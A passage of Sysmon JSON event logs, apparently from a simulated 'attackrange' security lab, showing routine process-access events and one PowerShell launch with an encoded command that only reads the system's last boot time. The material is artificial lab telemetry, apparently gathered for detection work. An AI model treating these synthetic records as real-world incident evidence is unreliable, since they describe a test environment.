11:50:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2499,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:33.475\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:33.475","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2500,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:33.475\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:33.475","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2501,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:33.475\r\nSourceProcessGUID: {90617006-4009-5F2D-0000-0010C34F0400}\r\nSourceProcessId: 4484\r\nSourceThreadId: 4504\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-4009-5F2D-0000-00100A520400}\r\nTargetProcessId: 4548\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:33.475","SourceProcessGUID":"{90617006-4009-5F2D-0000-0010C34F0400}","SourceProcessId":"4484","SourceThreadId":"4504","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-4009-5F2D-0000-00100A520400}","TargetProcessId":"4548","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":2502,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:33.480\r\nProcessGuid: {90617006-4009-5F2D-0000-0010C9520400}\r\nProcessId: 4560\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nFileVersion: 10.0.14393.206 (rs1_release.160915-0644)\r\nDescription: Windows PowerShell\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: PowerShell.EXE\r\nCommandLine: PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand KABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAALQBDAGwAYQBzAHMATgBhAG0AZQAgAFcAaQBuADMAMgBfAE8AcABlAHIAYQB0AGkAbgBnAFMAeQBzAHQAZQBtACkALgBMAGEAcwB0AEIAbwBvAHQAVQBwAFQAaQBtAGUA\r\nCurrentDirectory: C:\\Users\\Administrator\\\r\nUser: ATTACKRANGE\\Administrator\r\nLogonGuid: {90617006-4009-5F2D-0000-0020094F0400}\r\nLogonId: 0x44F09\r\nTerminalSessionId: 0\r\nIntegrityLevel: High\r\nHashes: MD5=097CE5761C89434367598B34FE32893B,SHA256=BA4038FD20E474C047BE8AAD5BFACDB1BFC1DDBE12F803F473B7918D8D819436,IMPHASH=CAEE994F79D85E47C06E5FA9CDEAE453\r\nParentProcessGuid: {90617006-4009-5F2D-0000-00100A520400}\r\nParentProcessId: 4548\r\nParentImage: C:\\Windows\\System32\\cmd.exe\r\nParentCommandLine: C:\\Windows\\system32\\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand KABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAALQBDAGwAYQBzAHMATgBhAG0AZQAgAFcAaQBuADMAMgBfAE8AcABlAHIAYQB0AGkAbgBnAFMAeQBzAHQAZQBtACkALgBMAGEAcwB0AEIAbwBvAHQAVQBwAFQAaQBtAGUA","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:50:33.480","ProcessGuid":"{90617006-4009-5F2D-0000-0010C9520400}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","FileVersion":"10.0.14393.206 (rs1_release.160915-0644)","Description":"Windows PowerShell","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"PowerShell.EXE","CommandLine":"PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand KABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAALQBDAGwAYQBzAHMATgBhAG0AZQAgAFcAaQBuADMAMgBfAE8AcABlAHIAYQB0AGkAbgBnAFMAeQBzAHQAZQBtACkALgBMAGEAcwB0AEIAbwBvAHQAVQBwAFQAaQBtAGUA","CurrentDirectory":"C:\\Users\\Administrator\\","User":"ATTACKRANGE\\Administrator","LogonGuid":"{90617006-4009-5F2D-0000-0020094F0400}","LogonId":"0x44f09","TerminalSessionId":"0","IntegrityLevel":"High","Hashes":"MD5=097CE5761C89434367598B34FE32893B,SHA256=BA4038FD20E474C047BE8AAD5BFACDB1BFC1DDBE12F803F473B7918D8D819436,IMPHASH=CAEE994F79D85E47C06E5FA9CDEAE453","ParentProcessGuid":"{90617006-4009-5F2D-0000-00100A520400}","ParentProcessId":"4548","ParentImage":"C:\\Windows\\System32\\cmd.exe","ParentCommandLine":"C:\\Windows\\system32\\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand KABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAALQBDAGwAYQBzAHMATgBhAG0AZQAgAFcAaQBuADMAMgBfAE8AcABlAHIAYQB0AGkAbgBnAFMAeQBzAHQAZQBtACkALgBMAGEAcwB0AEIAbwBvAHQAVQBwAFQAaQBtAGUA","EventReceivedTime":"2020-08-07 11:50:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2503,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:33.475\r\nSourceProcessGUID: {90617006-4009-5F2D-0000-00100A520400}\r\nSourceProcessId: 4548\r\nSourceThreadId: 4552\r\nSourceImage: C:\\Windows\\system32\\cmd.exe\r\nTargetProcessGUID: {90617006-4009-5F2D-0000-0010C9520400}\r\nTargetProcessId: 4560\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\system32\\cmd.exe+f1e1|C:\\Windows\\system32\\cmd.exe+11a37|C:\\Windows\\system32\\cmd.exe+cb0d|C:\\Windows\\system32\\cmd.exe+c295|C:\\Windows\\system32\\cmd.exe+f916|C:\\Windows\\system32\\cmd.exe+1510d|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:33.475","SourceProcessGUID":"{90617006-4009-5F2D-0000-00100A520400}","SourceProcessId":"4548","SourceThreadId":"4552","SourceImage":"C:\\Windows\\system32\\cmd.exe","TargetProcessGUID":"{90617006-4009-5F2D-0000-0010C9520400}","TargetProcessId":"4560","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\system32\\cmd.exe+f1e1|C:\\Windows\\system32\\cmd.exe+11a37|C:\\Windows\\system32\\cmd.exe+cb0d|C:\\Windows\\system32\\cmd.exe+c295|C:\\Windows\\system32\\cmd.exe+f916|C:\\Windows\\system32\\cmd.exe+1510d|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2504,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:33.475\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4009-5F2D-0000-0010C9520400}\r\nTargetProcessId: 4560\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:33.475","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4009-5F2D-0000-0010C9520400}","TargetProcessId":"4560","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:50:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2505,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:33.475\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:33.475","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2506,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:33.475\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:33.475","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2507,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:33.475\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:33.475","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.d